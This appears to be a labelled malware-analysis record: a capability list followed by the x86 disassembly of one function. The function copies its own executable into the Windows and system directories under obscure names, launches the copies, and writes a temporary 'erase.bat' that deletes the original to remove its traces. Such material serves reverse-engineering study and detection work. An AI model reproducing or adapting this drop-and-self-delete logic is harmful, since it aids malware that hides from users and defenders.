Function at 0x402194
Capabilities:
Copy file
Create process on windows
Get common file path
Self delete
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1844
call fcn.004115f0
mov eax, dword [0x417740]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, 0x104
push esi
lea eax, [ebp - 0x424]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push esi
lea eax, [ebp - 0x31c]
push eax
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push esi
lea eax, [ebp - 0x634]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0x4153fc
call fcn.00402100
push eax
lea eax, [ebp - 0x634]
push eax
push str._s_s._s
lea edi, [esi + 1]
lea eax, [ebp - 0x214]
push edi
push eax
call fcn.00404d88
push 0x414e98
push str.nvmdisp
lea eax, [ebp - 0x634]
push eax
push str._s_s._s
lea eax, [ebp - 0x52c]
push edi
push eax
call fcn.00404d88
push 0x414f20
push str.xutrt
push 0x414f24
lea eax, [ebp - 0x424]
push eax
push str._s_s_s._s
lea eax, [ebp - 0x844]
push edi
push eax
call fcn.00404d88
add esp, 0x4c
push 0x414f20
push str.dlgdrz
push 0x414f24
lea eax, [ebp - 0x424]
push eax
push str._s_s_s._s
lea eax, [ebp - 0x73c]
push edi
push eax
call fcn.00404d88
mov edi, dword [sym.imp.KERNEL32.dll_CopyFileA]
add esp, 0x1c
push ebx
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp - 0x31c]
push eax
call edi
push ebx
lea eax, [ebp - 0x844]
push eax
lea eax, [ebp - 0x31c]
push eax
call edi
cmp byte [ebp + 8], bl
push ebx
jne 0x4022e7
lea eax, [ebp - 0x52c]
push eax
mov esi, str.check.dll
push esi
call edi
push ebx
lea eax, [ebp - 0x73c]
push eax
push esi
call edi
push ebx
push ebx
push str._reg
lea eax, [ebp - 0x214]
push eax
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp 0x402421
lea eax, [ebp - 0x73c]
push eax
lea eax, [ebp - 0x52c]
push eax
call edi
lea eax, [ebp - 0x10c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push esi
lea eax, [ebp - 0x10c]
push str.erase.bat
push eax
call fcn.00403b70
mov edi, 0xfff
push edi
lea eax, [ebp - 0x1844]
push str._echo_off_n
push eax
call fcn.00405200
push edi
lea eax, [ebp - 0x1844]
push str.del__
push eax
call fcn.00403b70
push esi
lea eax, [ebp - 0x31c]
push eax
lea eax, [ebp - 0x1844]
push eax
call fcn.00403b70
push edi
lea eax, [ebp - 0x1844]
push 0x41542c
push eax
call fcn.00403b70
push edi
lea eax, [ebp - 0x1844]
push str.del
push eax
call fcn.00403b70
add esp, 0x48
push edi
lea eax, [ebp - 0x10c]
push eax
lea eax, [ebp - 0x1844]
push eax
call fcn.00403b70
lea eax, [ebp - 0x10c]
push 0x415438
push eax
call fcn.0040586c
mov esi, eax
add esp, 0x14
cmp esi, ebx
je 0x4023b8
lea eax, [ebp - 0x1844]
push esi
push eax
call fcn.00404b17
pop ecx
pop ecx
push esi
call fcn.00404ccb
lea eax, [ebp - 0x214]
mov dword [esp], 0x414e24
push eax
call fcn.0040586c
pop ecx
pop ecx
mov esi, eax
push esi
call fcn.00404446
and eax, 0x8000007f
jns 0x4023e7
dec eax
or eax, 0xffffff80
inc eax
push eax
call fcn.00405669
push esi
call fcn.00404ccb
mov esi, dword [sym.imp.SHELL32.dll_ShellExecuteA]
add esp, 0xc
push ebx
push ebx
push str._reg2
lea eax, [ebp - 0x214]
push eax
mov edi, str.open
push edi
push ebx
call esi
push ebx
push ebx
push ebx
lea eax, [ebp - 0x10c]
push eax
push edi
push ebx
call esi
push ebx
call fcn.0040509d
int3